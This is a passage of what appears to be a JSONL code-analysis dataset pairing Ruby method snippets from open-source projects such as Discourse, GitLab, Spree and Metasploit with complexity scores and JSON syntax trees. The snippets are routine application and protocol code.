1\"]}]}]},\"present?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"has_posts\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"active\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"false\",\"children\":[]}]}]}]},null]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]},null]}]}]}]}","id":"8b31f6bf-f526-46f2-bd65-bc349691e7ec"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/calendar/app/controllers/calendar/calendars_controller.rb","start_line":105,"raw_source":"def find_calendar\n      @view = Query\n                .visible(current_user)\n                .find(params[:id])\n    end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_calendar\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@view\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Query\"]},\"visible\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"5e6ddc21-1e00-4906-b5ef-4261f6156458"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/project.rb","start_line":239,"raw_source":"def being_archived?\n    (active == false) && (active_was == true)\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"being_archived?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active\"]},\"==\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_was\"]},\"==\",{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"33d7fb60-8408-475d-b05a-578e700ea605"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/theme_settings_manager.rb","start_line":96,"raw_source":"def has_min?\n    min = @opts[:min]\n    (min.is_a?(::Integer) || min.is_a?(::Float)) && min != -::Float::INFINITY\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"has_min?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"min\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"min\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Integer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Float\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Float\"]},\"INFINITY\"]},\"-@\"]}]}]}]}]}","id":"1ed57932-fcfc-4e67-a6d8-885663403ecb"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/helpers/portal_helper.rb","start_line":48,"raw_source":"def generate_home_link(portal_slug, portal_locale, theme, is_plain_layout_enabled)\n    if is_plain_layout_enabled\n      \"/hc/#{portal_slug}/#{portal_locale}#{theme_query_string(theme)}\"\n    else\n      \"/hc/#{portal_slug}/#{portal_locale}\"\n    end\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_home_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"portal_slug\"]},{\"type\":\"arg\",\"children\":[\"portal_locale\"]},{\"type\":\"arg\",\"children\":[\"theme\"]},{\"type\":\"arg\",\"children\":[\"is_plain_layout_enabled\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_plain_layout_enabled\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/hc/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"portal_slug\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"portal_locale\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"theme_query_string\",{\"type\":\"lvar\",\"children\":[\"theme\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/hc/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"portal_slug\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"portal_locale\"]}]}]}]}]}","id":"d225618a-e2b2-47c7-bafe-29531a4ba573"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_dev/config.rb","start_line":86,"raw_source":"def method_missing(name)\n      config[name.to_sym]\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]}]}]}","id":"a48620df-3919-410e-b94e-8159f7ef7673"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/appetize.rb","start_line":65,"raw_source":"def self.appetize_url(options)\n        Actions.lane_context[SharedValues::APPETIZE_API_HOST] = options[:api_host]\n        \"https://#{options[:api_host]}/v1/apps/#{options[:public_key]}\"\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"appetize_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"APPETIZE_API_HOST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_host\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_host\"]}]}]},{\"type\":\"str\",\"children\":[\"/v1/apps/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"public_key\"]}]}]}]}]}]}","id":"f1ecba53-ce65-4a1e-b35b-01a3ccd223ea"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/config.rb","start_line":93,"raw_source":"def total_concurrency\n      capsules.each_value.sum(&:concurrency)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"total_concurrency\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capsules\"]},\"each_value\"]},\"sum\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"concurrency\"]}]}]}]}","id":"68117606-c9f0-4dcb-b8de-f900938969e2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/settings/packages_and_registries_controller.rb","start_line":22,"raw_source":"def verify_packages_enabled!\n        render_404 unless group.packages_feature_enabled?\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_packages_enabled!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"packages_feature_enabled?\"]},null,{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}","id":"6a5e1aa8-d166-41dc-9a95-51f8df60a157"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/merge_request/show.rb","start_line":489,"raw_source":"def add_suggestion_to_batch\n          all_elements('add-suggestion-batch-button', minimum: 1).first.click\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_suggestion_to_batch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_elements\",{\"type\":\"str\",\"children\":[\"add-suggestion-batch-button\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minimum\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"first\"]},\"click\"]}]}","id":"820eaf61-961a-42c6-9adc-e2f39b400be0"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/page_sections/footer.rb","start_line":34,"raw_source":"def default_blocks\n        shop_default_links = [\n          Spree::PageLink.new(\n            linkable: pages.find_by(type: 'Spree::Pages::ShopAll')\n          )\n        ]\n\n        collections_taxonomy = store.taxonomies.find_by(name: Spree.t(:taxonomy_collections_name))\n\n        if collections_taxonomy.present?\n          on_sale_collection = collections_taxonomy.taxons.automatic.find_by(name: Spree.t('automatic_taxon_names.on_sale'))\n          new_arrivals_collection = collections_taxonomy.taxons.automatic.find_by(name: Spree.t('automatic_taxon_names.new_arrivals'))\n\n          shop_default_links << Spree::PageLink.new(linkable: on_sale_collection) if on_sale_collection.present?\n          shop_default_links << Spree::PageLink.new(linkable: new_arrivals_collection) if new_arrivals_collection.present?\n        end\n\n        default_info_links = []\n\n        if store.policies.find_by(name: Spree.t('terms_of_service')).present?\n          default_info_links << Spree::PageLink.new(\n            label: Spree.t('terms_of_service'),\n            linkable: store.policies.find_by(name: Spree.t('terms_of_service'))\n          )\n        end\n\n        if store.policies.find_by(name: Spree.t('privacy_policy')).present?\n          default_info_links << Spree::PageLink.new(\n            label: Spree.t('privacy_policy'),\n            linkable: store.policies.find_by(name: Spree.t('privacy_policy'))\n          )\n        end\n\n        [\n          Spree::PageBlocks::Nav.new(\n            preferred_label: 'Shop',\n            default_links: shop_default_links\n          ),\n          Spree::PageBlocks::Nav.new(\n            preferred_label: Spree.t('account'),\n            default_links: [\n              Spree::PageLink.new(\n                label: Spree.t('my_account'),\n                linkable: pages.find_by(type: 'Spree::Pages::Account')\n              ),\n              Spree::PageLink.new(\n                label: 'Favorites',\n                linkable: pages.find_by(type: 'Spree::Pages::Wishlist')\n              )\n            ]\n          ),\n          Spree::PageBlocks::Nav.new(\n            preferred_label: 'Company',\n            default_links: []\n          ),\n          Spree::PageBlocks::Nav.new(\n            preferred_label: 'Info',\n            default_links: default_info_links\n          )\n        ]\n      end","complexity_score":89.0,"ast_json":"{\"type\":\"def\",\"children\":[\"default_blocks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shop_default_links\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PageLink\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linkable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pages\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"Spree::Pages::ShopAll\"]}]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"collections_taxonomy\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"taxonomies\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"taxonomy_collections_name\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collections_taxonomy\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"on_sale_collection\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collections_taxonomy\"]},\"taxons\"]},\"automatic\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"str\",\"children\":[\"automatic_taxon_names.on_sale\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_arrivals_collection\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collections_taxonomy\"]},\"taxons\"]},\"automatic\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"str\",\"children\":[\"automatic_taxon_names.new_arrivals\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"on_sale_collection\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shop_default_links\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PageLink\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linkable\"]},{\"type\":\"lvar\",\"children\":[\"on_sale_collection\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_arrivals_collection\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shop_default_links\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PageLink\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linkable\"]},{\"type\":\"lvar\",\"children\":[\"new_arrivals_collection\"]}]}]}]}]},null]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"default_info_links\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"policies\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"str\",\"children\":[\"terms_of_service\"]}]}]}]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_info_links\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PageLink\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"str\",\"children\":[\"terms_of_service\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linkable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"policies\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"str\",\"children\":[\"terms_of_service\"]}]}]}]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"policies\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"str\",\"children\":[\"privacy_policy\"]}]}]}]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_info_links\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PageLink\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"str\",\"children\":[\"privacy_policy\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linkable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"policies\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"str\",\"children\":[\"privacy_policy\"]}]}]}]}]}]}]}]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PageBlocks\"]},\"Nav\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preferred_label\"]},{\"type\":\"str\",\"children\":[\"Shop\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_links\"]},{\"type\":\"lvar\",\"children\":[\"shop_default_links\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PageBlocks\"]},\"Nav\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preferred_label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"str\",\"children\":[\"account\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_links\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PageLink\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"str\",\"children\":[\"my_account\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linkable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pages\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"Spree::Pages::Account\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PageLink\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"str\",\"children\":[\"Favorites\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linkable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pages\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"Spree::Pages::Wishlist\"]}]}]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PageBlocks\"]},\"Nav\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preferred_label\"]},{\"type\":\"str\",\"children\":[\"Company\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_links\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PageBlocks\"]},\"Nav\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preferred_label\"]},{\"type\":\"str\",\"children\":[\"Info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_links\"]},{\"type\":\"lvar\",\"children\":[\"default_info_links\"]}]}]}]}]}]}]}","id":"d9c28c75-23d3-4f5e-b51c-771c95d3a91b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/translation_service.rb","start_line":30,"raw_source":"def self.configuration\n    Rails.configuration.x.translation\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"configuration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"x\"]},\"translation\"]}]}","id":"315b61f4-ad40-4111-bce0-3be18f7c7878"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20180521184439_allow_null_ip_search_log.rb","start_line":4,"raw_source":"def up\n    begin\n      Migration::SafeMigrate.disable!\n      change_column :search_logs, :ip_address, :inet, null: true\n    ensure\n      Migration::SafeMigrate.enable!\n    end\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"SafeMigrate\"]},\"disable!\"]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"search_logs\"]},{\"type\":\"sym\",\"children\":[\"ip_address\"]},{\"type\":\"sym\",\"children\":[\"inet\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"SafeMigrate\"]},\"enable!\"]}]}]}]}","id":"8375894b-5a1e-4a88-87b5-78d46842bf1f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/users_controller.rb","start_line":197,"raw_source":"def badges\n    raise Discourse::NotFound unless SiteSetting.enable_badges?\n    show\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"badges\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_badges?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]}]},{\"type\":\"send\",\"children\":[null,\"show\"]}]}]}","id":"bed6464d-32e4-4a30-a065-af613a13d95e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/lib/api/v3/costs_api_user_permission_check.rb","start_line":2,"raw_source":"def overall_costs_visible?\n    (view_time_entries_allowed? && user_has_hourly_rate_permissions?) ||\n      (user_has_cost_entry_permissions? && user_has_cost_rates_permission?)\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"overall_costs_visible?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view_time_entries_allowed?\"]},{\"type\":\"send\",\"children\":[null,\"user_has_hourly_rate_permissions?\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_has_cost_entry_permissions?\"]},{\"type\":\"send\",\"children\":[null,\"user_has_cost_rates_permission?\"]}]}]}]}]}","id":"7d3a4a4f-3a07-4081-9d77-f296093adc0c"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/normalized_has_many_test.rb","start_line":129,"raw_source":"def test_fetching_the_association_should_delegate_to_the_normal_association_fetcher_if_any_transaction_are_open\n    @record = Item.fetch(@record.id)\n\n    assert_memcache_operations(0) do\n      @record.transaction do\n        assert_equal([@baz, @bar], @record.fetch_associated_records)\n      end\n    end\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetching_the_association_should_delegate_to_the_normal_association_fetcher_if_any_transaction_are_open\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@record\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"id\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_memcache_operations\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@baz\"]},{\"type\":\"ivar\",\"children\":[\"@bar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"fetch_associated_records\"]}]}]}]}]}]}","id":"33d9f86e-0582-448b-a27c-fc2ee65f4de5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/mssql/client_mixin.rb","start_line":209,"raw_source":"def mssql_tds_encrypt(pass)\n    # Convert to unicode, swap 4 bits both ways, xor with 0xa5\n    Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack(\"C*\")\n  